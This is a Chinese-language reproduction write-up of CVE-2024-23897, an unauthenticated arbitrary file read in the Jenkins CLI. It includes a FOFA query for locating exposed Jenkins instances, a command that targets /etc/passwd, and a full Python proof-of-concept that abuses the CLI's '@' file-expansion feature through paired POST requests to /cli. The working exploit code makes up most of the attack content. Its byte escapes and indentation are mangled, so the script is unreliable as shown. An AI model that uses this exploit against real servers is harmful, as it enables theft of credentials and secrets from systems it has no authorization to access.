本人非原创漏洞作者,文章仅作为知识分享用
一切直接或间接由于本文所造成的后果与本人无关
如有侵权,联系删除
产品简介
Jenkins 是一款开源的持续集成(Continuous Integration, CI)和持续交付(Continuous Delivery, CD)工具。它提供了超过1000个插件,以支持各种构建、部署和自动化需求,从而适应不同项目的需求。Jenkins 最初是用Java开发的,并且可以在多种操作系统上运行,包括Windows、Mac OS X和其他类Unix的系统。它的目的是提供一个开放且易于使用的软件平台,使得软件开发团队能够进行持续集成和持续交付的过程。
开发语言:Java
官网地址:https://www.jenkins.io/
空间测绘
app="Jenkins"
漏洞描述
Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本不会禁用其 CLI 命令解析器的一项功能,该功能将参数中后跟文件路径的“@”字符替换为文件内容,从而允许未经身份验证的攻击者读取 Jenkins 上的任意文件。
2.用户认证后能读取文件中全部内容。
3.如开启以下配置,不需要用户认证便能读取文件中全部内容。
影响版本
2.441 =
2.426.2 =
漏洞利用
python3 http://xxx.xxx.xxx/ /etc/passwd
利用脚本
import threading
import http.client
import time
import uuid
import urllib.parse
import sys
if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()
data_bytes = b'x00x00x00x06x00x00x04helpx00x00x00x0ex00x00x0c@' + sys.argv[2].encode() + b'x00x00x00x05x02x00x03GBKx00x00x00x07x01x00x05zh_CNx00x00x00x00x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())
print(f'REQ: {data_bytes}n')
def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')
def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)
t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)
t1.start()
time.sleep(0.1)
t2.start()
t1.join()
t2.join()
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2024-23897
https://github.com/binganao/CVE-2024-23897/blob/main/poc.py
原文始发于微信公众号(不够安全):[漏洞复现] CVE-2024-23897 jenkins 任意文件读取
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论